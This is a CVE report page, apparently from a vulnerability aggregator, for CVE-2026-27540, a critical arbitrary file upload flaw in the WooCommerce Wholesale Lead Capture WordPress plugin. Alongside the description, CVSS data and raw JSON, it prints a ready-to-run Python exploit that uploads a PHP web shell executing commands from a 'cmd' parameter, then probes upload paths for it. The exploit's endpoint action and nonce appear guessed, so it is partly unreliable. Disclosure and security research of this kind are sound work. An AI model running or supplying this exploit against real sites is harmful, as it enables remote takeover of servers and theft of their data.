Security Vulnerability Report
中文
CVE-2026-27540 CVSS 9.0 CRITICAL

CVE-2026-27540

Published: 2026-03-19 06:16:26
Last Modified: 2026-04-29 10:16:56

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture woocommerce-wholesale-lead-capture allows Using Malicious Files.This issue affects Woocommerce Wholesale Lead Capture: from n/a through <= 2.0.3.1.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

woocommerce-wholesale-lead-capture <= 2.0.3.1
所有从初始版本到 2.0.3.1 的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-27540 PoC - Arbitrary File Upload # Target: WooCommerce Wholesale Lead Capture Plugin <= 2.0.3.1 def exploit(target_url, file_path='shell.php'): """ Exploit for CVE-2026-27540 Uploads a malicious PHP file to target WordPress site """ # Prepare malicious PHP file php_payload = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" # File upload endpoint - typical WordPress AJAX handler upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare multipart form data files = { 'file': (file_path, php_payload, 'application/x-php') } # Add required WordPress nonce and action parameters data = { 'action': 'wwslc_upload_lead_file', 'nonce': 'exploit', # May need valid nonce in some cases } try: print(f"[*] Attempting to upload malicious file to {target_url}") response = requests.post(upload_url, files=files, data=data, timeout=30) if response.status_code == 200: print("[+] File upload request sent") print(f"[*] Response: {response.text}") # Try to access the uploaded file # Common upload paths in WordPress plugins upload_paths = [ f"{target_url}/wp-content/uploads/{file_path}", f"{target_url}/wp-content/plugins/woocommerce-wholesale-lead-capture/uploads/{file_path}", ] for path in upload_paths: try: check = requests.get(path, timeout=10) if check.status_code == 200: print(f"[+] Malicious file found at: {path}") print(f"[*] Execute command: {path}?cmd=whoami") return True except: pass return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-27540.py <target_url>") print("Example: python cve-2026-27540.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27540", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:25.787", "lastModified": "2026-04-29T10:16:55.783", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture woocommerce-wholesale-lead-capture allows Using Malicious Files.This issue affects Woocommerce Wholesale Lead Capture: from n/a through <= 2.0.3.1."}, {"lang": "es", "value": "Vulnerabilidad de carga irrestricta de archivo con tipo peligroso en Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture permite el uso de archivos maliciosos. Este problema afecta a Woocommerce Wholesale Lead Capture: desde n/a hasta 2.0.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-wholesale-lead-capture/vulnerability/wordpress-woocommerce-wholesale-lead-capture-plugin-1-17-8-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}